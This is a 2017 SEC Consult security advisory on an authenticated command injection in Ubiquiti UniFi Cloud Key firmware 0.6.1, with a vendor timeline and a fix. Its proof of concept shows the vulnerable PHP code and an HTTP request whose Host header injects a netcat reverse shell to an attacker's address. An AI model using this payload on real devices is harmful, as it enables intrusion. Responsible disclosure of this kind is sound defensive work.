Ubiquiti Networks UniFi Cloud Key Firmware 0.6.1 Command Injection

`SEC Consult Vulnerability Lab Security Advisory < 20170804-1 >  
=======================================================================  
title: Authenticated Command Injection  
product: Ubiquiti Networks UniFi Cloud Key  
vulnerable version: Firmware v0.6.1  
fixed version: Firmware v0.6.4  
CVE number:  
impact: High  
homepage: https://www.ubnt.com  
found: 2017-03-26  
by: T. Weber (Office Vienna)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
=======================================================================  
  
Vendor description:  
-------------------  
"Ubiquiti Networks develops high-performance networking  
technology for service providers and enterprises. Our technology  
platforms focus on delivering highly advanced and easily deployable  
solutions that appeal to a global customer base in underserved and  
underpenetrated markets."  
  
Source: http://ir.ubnt.com/  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends not to use this device in production until a thorough  
security review has been performed by security professionals and all  
identified issues have been resolved.  
  
  
Vulnerability overview/description:  
-----------------------------------  
A command injection can be triggered via the hostname header in the status GET  
request. This vulnerability can be exploited when the Cloud Key web interface  
is exposed to the Internet and an attacker has credentials to it.  
  
Proof of concept:  
-----------------  
The following PHP snipplet is responsible for the command execution vulnerability:  
  
(api.inc, line 265)  
-------------------------------------------------------------------------------  
[...]  
function is_unifi_running() {  
if (!isset($_SERVER['HTTP_HOST'])) {  
$c_host = $_SERVER['SERVER_ADDR'];  
} else {  
$c_host = $_SERVER['HTTP_HOST'];  
}  
$unifi_href = 'http://' . $c_host . ':8080/status';  
exec(CMD_CURL . $unifi_href, $out, $rc);  
if ($rc == 0) {  
return true;  
}  
return false;  
}  
[...]  
-------------------------------------------------------------------------------  
  
Since '$c_host' is not filtered, a command injection is possible.  
  
The following GET request was used to open a reverse-shell via command injection  
from the Cloud Key system (192.168.0.30) to the attacker (192.168.0.3):  
-------------------------------------------------------------------------------  
GET /api/status HTTP/1.1  
Host: 192.168.0.30;busybox nc 192.168.0.3 8999 -e bash;  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0  
Accept: application/json, text/plain, */*  
Accept-Language: en-US,en;q=0.5  
X-Access-Token: <Token>  
Referer: https://192.168.0.30/login  
Cookie: CKSESSIONID=<Session-ID>  
Connection: close  
-------------------------------------------------------------------------------  
  
As the listener, netcat was used:  
$ nc -lvp 8999  
  
Vulnerable / tested versions:  
-----------------------------  
Ubiquiti Networks UniFi Cloud Key version 0.6.1 has been tested. This version  
was the latest at the time the security vulnerabilities were discovered.  
  
  
Vendor contact timeline:  
------------------------  
2017-03-29: Contacting vendor via HackerOne. Vendor sets status to  
"Triaged".  
2017-04-24: Asking for a status update; No answer.  
2017-05-06: Found update 0.6.4 on the website of the vendor.  
2017-05-15: Contacted vendor via e-mail and asked for status.  
2017-05-16: Vendor closed the ticked and changed the status to resolved.  
Current firmware version was v0.6.4. Set the publication  
date to 2017-08-04 (at least 90 days after fix).  
2017-08-04: Public release of security advisory  
  
Solution:  
---------  
Upgrade to v0.6.4 or above.  
  
  
Workaround:  
-----------  
None  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/Vulnerability-Lab/Advisories.htm  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
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EOF T. Weber / @2017  
  
`